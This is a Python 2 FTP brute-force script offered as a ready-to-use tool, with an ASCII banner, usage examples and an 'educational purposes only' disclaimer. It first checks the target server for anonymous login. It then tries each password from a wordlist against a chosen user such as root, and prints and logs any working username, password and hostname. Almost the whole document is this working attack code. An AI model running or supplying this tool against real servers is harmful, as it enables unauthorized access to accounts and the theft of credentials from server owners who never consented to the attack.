[Python] FTP Bruteforcer

#!/usr/bin/python
# -*- coding: utf-8 -*-
############################################################
#    ______ _______ _____        ____             _        #
#   |  ____|__   __|  __ \      |  _ \           | |       #
#   | |__     | |  | |__) |_____| |_) |_ __ _   _| |_ ___  #
#   |  __|    | |  |  ___/______|  _  | |__| | | | __/ _ \ #
#   | |       | |  | |          | |_) | |  | |_| | ||  __/ #
#   |_|       |_|  |_|          |____/|_|   \__,_|\__\___| #
#                                                          #
############################################################
#This program was made for educational purposes only, using
#for malicious use is strictly forbidden, I'm not responsible
#for any misuse of this program, Copy rights pend to Chris Poole.
################################################################
#     _____              _ _ _                  __             #
#    / ____|            | (_) |              _  \ \            #
#   | |     _ __ ___  __| |_| |_ ___        (_)  | |           #
#   | |    | '__/ _ \/ _` | | __/ __|            | |           #
#   | |____| | |  __/ (_| | | |_\__ \        _   | |           #
#    \_____|_|  \___|\__,_|_|\__|___/       (_)  | |           #
#                                               /_/            #
#                                                              #
################################################################
#       http://twitter.com/codingplanets  // Chris Poole       #
################################################################
import sys
import time
import os
from ftplib import FTP

if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
	SysCls = 'clear'
elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos':
	SysCls = 'cls'
else:
	SysCls = 'unknown'

log = "ftpbrute.log"
face = 	'''
  ______ _______ _____         ____             _
 |  ____|__   __|  __ \       |  _ \           | |
 | |__     | |  | |__) | ____ | |_) |_ __ _   _| |_ ___
 |  __|    | |  |  ___/  ____ |  _  | |__| | | | __/ _ \
 | |       | |  | |           | |_) | |  | |_| | ||  __/
 |_|       |_|  |_|           |____/|_|   \__,_|\__\___|


          FTP = File Transfer Protocol
          Bruteforcing = Retriving login access with a passwordlist
___________________________________________________________________
'''

option = '''
Usage: python ftpbrute.py [options]
Options: -t,     <hostname/ip>   |   Target to bruteforcing
         -u,       <user>          |   User for bruteforcing
         -w,   <filename>      |   Passwords used for bruteforcing
         -h,       <help>          |   print this help

Example: python ftpbrute.py -t 192.168.1.1 -u root -w passwords.txt
Example: python ftpbrute.py -t binarysec.org -u root -w list.txt
___________________________________________________________________
'''

file = open(log, "a")

def MyFace() :
	os.system(SysCls)
	print face
	file.write(face)

	print option

def HelpMe() :
	MyFace()
	file.write(option)
	sys.exit(1)

for arg in sys.argv:
	if arg.lower() == '-t' or arg.lower() == '--target':
            hostname = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-u' or arg.lower() == '--user':
            user = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-w' or arg.lower() == '--wordlist':
            wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-h' or arg.lower() == '--help':
        	HelpMe()
	elif len(sys.argv) <= 1:
		HelpMe()

def checkanony() :
	try:
		print "\n[+] Checking for anonymous login\n"
		ftp = FTP(hostname)
		ftp.login()
		ftp.retrlines('LIST')
		print "\n[!] Anonymous login successfuly !\n"
		ftp.quit()
	except Exception, e:
        	print "\n[-] Anonymous login unsuccessful...\n"
		pass


def BruteForce(word) :
	sys.stdout.write ("\r[?]Trying : %s " % (word))
	sys.stdout.flush()
	file.write("\n[?]Trying :"+word)
     	try:
		ftp = FTP(hostname)
		ftp.login(user, word)
		ftp.retrlines('list')
		ftp.quit()
		print "\n\t[!] Login Success ! "
		print "\t[!] Username : ",user, ""
		print "\t[!] Password : ",word, ""
		print "\t[!] Hostname : ",hostname, ""
		print "\n\tThank you for using my FTP bruteforcer! :)"
		print "\n\tCredits | @codingplanets | Chris Poole"
		print "\n\t                    "
		print "\t[!] Log all has been saved to",log,"\n"
		file.write("\n\n\t[!] Login Success ! ")
		file.write("\n\t[!] Username : "+user )
		file.write("\n\t[!] Password : "+word )
		file.write("\n\t[!] Hostname : "+hostname)
		file.write("\n\t[!] Log all has been saved to "+log)
		file.write("\n\n\tThank you for using my FTP bruteforcer! :)")
		file.write("\n\n\tCredits | @codingplanets | Chris Poole")
		file.write("\n\n\t                    ")



		sys.exit(1)
   	except Exception, e:
        	#print "[-] Failed"
		pass
	except KeyboardInterrupt:
		print "\n[-] Aborting...\n"
		file.write("\n[-] Aborting...\n")
		sys.exit(1)

MyFace()
print "[!] Starting attack at %s" % time.strftime("%X")
print "[!] System Activated for brute forcing..."
print "[!] Please wait until brute forcing finish !\n"
file.write("\n[!] Starting attack at %s" % time.strftime("%X"))
file.write("\n[!] System Activated for brute forcing...")
file.write("\n[!] Please wait until brute forcing finish !\n")
checkanony()

try:
	preventstrokes = open(wordlist, "r")
	words 	       = preventstrokes.readlines()
	count          = 0
	while count < len(words):
		words[count] = words[count].strip()
		count += 1
except(IOError):
  	print "\n[-] Error: Check your wordlist path\n"
	file.write("\n[-] Error: Check your wordlist path\n")
  	sys.exit(1)

print "\n[+] Loaded:",len(words),"words"
print "[+] Server :",hostname
print "[+] User :",user
print "[+] BruteForcing...\n"

for word in words:
	BruteForce(word.replace("\n",""))

file.close()